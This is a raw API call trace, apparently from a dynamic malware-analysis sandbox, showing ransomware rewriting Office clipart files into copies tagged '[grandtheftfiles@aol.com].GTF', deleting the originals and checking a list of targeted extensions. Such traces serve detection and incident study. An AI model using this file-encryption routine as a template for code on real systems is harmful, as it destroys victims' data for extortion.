	[0088.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220
	[0088.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.051] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.051] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0088.051] GetLastError () returned 0x0
	[0088.051] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x79cc, lpOverlapped=0x0) returned 1
	[0088.053] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x79d0, lpOverlapped=0x0) returned 1
	[0088.055] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.055] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.055] SetEndOfFile (hFile=0x31c) returned 1
	[0088.055] CloseHandle (hObject=0x31c) returned 1
	[0088.055] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.055] SetEndOfFile (hFile=0x384) returned 1
	[0088.056] CloseHandle (hObject=0x384) returned 1
	[0088.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.057] lstrlenW (lpString=".doc") returned 4
	[0088.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString=".docx") returned 5
	[0088.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.057] lstrlenW (lpString=".pdf") returned 4
	[0088.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString=".xls") returned 4
	[0088.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.057] lstrlenW (lpString=".xlsx") returned 5
	[0088.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.057] lstrlenW (lpString=".ppt") returned 4
	[0088.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.057] lstrlenW (lpString=".zip") returned 4
	[0088.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.057] lstrlenW (lpString=".rar") returned 4
	[0088.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString=".bz2") returned 4
	[0088.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString=".7z") returned 3
	[0088.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.057] lstrlenW (lpString=".dbf") returned 4
	[0088.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.057] lstrlenW (lpString=".1cd") returned 4
	[0088.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.057] lstrlenW (lpString=".jpg") returned 4
	[0088.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.058] lstrlenW (lpString=".doc") returned 4
	[0088.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.058] lstrlenW (lpString=".docx") returned 5
	[0088.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.058] lstrlenW (lpString=".pdf") returned 4
	[0088.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.058] lstrlenW (lpString=".xls") returned 4
	[0088.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.058] lstrlenW (lpString=".xlsx") returned 5
	[0088.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.058] lstrlenW (lpString=".ppt") returned 4
	[0088.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.058] lstrlenW (lpString=".zip") returned 4
	[0088.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.058] lstrlenW (lpString=".rar") returned 4
	[0088.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.309] lstrlenW (lpString=".bz2") returned 4
	[0088.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.309] lstrlenW (lpString=".7z") returned 3
	[0088.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.309] lstrlenW (lpString=".dbf") returned 4
	[0088.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.309] lstrlenW (lpString=".1cd") returned 4
	[0088.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0088.309] lstrlenW (lpString=".jpg") returned 4
	[0088.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.309] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.309] lstrlenW (lpString="FD02097_.WMF") returned 12
	[0088.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.640] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1564) returned 1
	[0088.640] CloseHandle (hObject=0x334) returned 1
	[0088.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220
	[0088.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.648] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.655] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.668] GetLastError () returned 0x0
	[0088.668] ReadFile (in: hFile=0x334, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x61c, lpOverlapped=0x0) returned 1
	[0088.669] WriteFile (in: hFile=0x390, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x620, lpOverlapped=0x0) returned 1
	[0088.673] ReadFile (in: hFile=0x334, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.673] WriteFile (in: hFile=0x390, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.674] SetEndOfFile (hFile=0x390) returned 1
	[0088.674] CloseHandle (hObject=0x390) returned 1
	[0088.674] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.674] SetEndOfFile (hFile=0x334) returned 1
	[0088.675] CloseHandle (hObject=0x334) returned 1
	[0088.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1
	[0088.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.675] lstrlenW (lpString=".doc") returned 4
	[0088.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.675] lstrlenW (lpString=".docx") returned 5
	[0088.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.675] lstrlenW (lpString=".pdf") returned 4
	[0088.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.675] lstrlenW (lpString=".xls") returned 4
	[0088.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.675] lstrlenW (lpString=".xlsx") returned 5
	[0088.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.675] lstrlenW (lpString=".ppt") returned 4
	[0088.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.675] lstrlenW (lpString=".zip") returned 4
	[0088.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.676] lstrlenW (lpString=".rar") returned 4
	[0088.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString=".bz2") returned 4
	[0088.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString=".7z") returned 3
	[0088.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.676] lstrlenW (lpString=".dbf") returned 4
	[0088.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.676] lstrlenW (lpString=".1cd") returned 4
	[0088.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.676] lstrlenW (lpString=".jpg") returned 4
	[0088.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.676] lstrlenW (lpString=".doc") returned 4
	[0088.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString=".docx") returned 5
	[0088.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.676] lstrlenW (lpString=".pdf") returned 4
	[0088.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString=".xls") returned 4
	[0088.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.676] lstrlenW (lpString=".xlsx") returned 5
	[0088.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.676] lstrlenW (lpString=".ppt") returned 4
	[0088.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.676] lstrlenW (lpString=".zip") returned 4
	[0088.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.676] lstrlenW (lpString=".rar") returned 4
	[0088.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.676] lstrlenW (lpString=".bz2") returned 4
	[0088.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.677] lstrlenW (lpString=".7z") returned 3
	[0088.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.677] lstrlenW (lpString=".dbf") returned 4
	[0088.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.677] lstrlenW (lpString=".1cd") returned 4
	[0088.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0088.677] lstrlenW (lpString=".jpg") returned 4
	[0088.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.677] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.677] lstrlenW (lpString="HH00236_.WMF") returned 12
	[0088.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.677] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3286) returned 1
	[0088.677] CloseHandle (hObject=0x334) returned 1
	[0088.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220
	[0088.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.678] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.678] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.678] GetLastError () returned 0x0
	[0088.678] ReadFile (in: hFile=0x334, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xcd6, lpOverlapped=0x0) returned 1
	[0088.679] WriteFile (in: hFile=0x390, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0088.680] ReadFile (in: hFile=0x334, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.680] WriteFile (in: hFile=0x390, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.681] SetEndOfFile (hFile=0x390) returned 1
	[0088.681] CloseHandle (hObject=0x390) returned 1
	[0088.681] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.681] SetEndOfFile (hFile=0x334) returned 1
	[0088.682] CloseHandle (hObject=0x334) returned 1
	[0088.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1
	[0088.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.682] lstrlenW (lpString=".doc") returned 4
	[0088.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.682] lstrlenW (lpString=".docx") returned 5
	[0088.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.682] lstrlenW (lpString=".pdf") returned 4
	[0088.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.682] lstrlenW (lpString=".xls") returned 4
	[0088.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.682] lstrlenW (lpString=".xlsx") returned 5
	[0088.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.682] lstrlenW (lpString=".ppt") returned 4
	[0088.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.682] lstrlenW (lpString=".zip") returned 4
	[0088.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.683] lstrlenW (lpString=".rar") returned 4
	[0088.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.683] lstrlenW (lpString=".bz2") returned 4
	[0088.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.683] lstrlenW (lpString=".7z") returned 3
	[0088.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.683] lstrlenW (lpString=".dbf") returned 4
	[0088.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.683] lstrlenW (lpString=".1cd") returned 4
	[0088.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.683] lstrlenW (lpString=".jpg") returned 4
	[0088.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.683] lstrlenW (lpString=".doc") returned 4
	[0088.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.683] lstrlenW (lpString=".docx") returned 5
	[0088.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.683] lstrlenW (lpString=".pdf") returned 4
	[0088.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.683] lstrlenW (lpString=".xls") returned 4
	[0088.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.683] lstrlenW (lpString=".xlsx") returned 5
	[0088.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.684] lstrlenW (lpString=".ppt") returned 4
	[0088.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.684] lstrlenW (lpString=".zip") returned 4
	[0088.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.684] lstrlenW (lpString=".rar") returned 4
	[0088.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.684] lstrlenW (lpString=".bz2") returned 4
	[0088.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.684] lstrlenW (lpString=".7z") returned 3
	[0088.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.684] lstrlenW (lpString=".dbf") returned 4
	[0088.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.684] lstrlenW (lpString=".1cd") returned 4
	[0088.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0088.684] lstrlenW (lpString=".jpg") returned 4
	[0088.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.684] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.684] lstrlenW (lpString="HH00241_.WMF") returned 12
	[0088.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
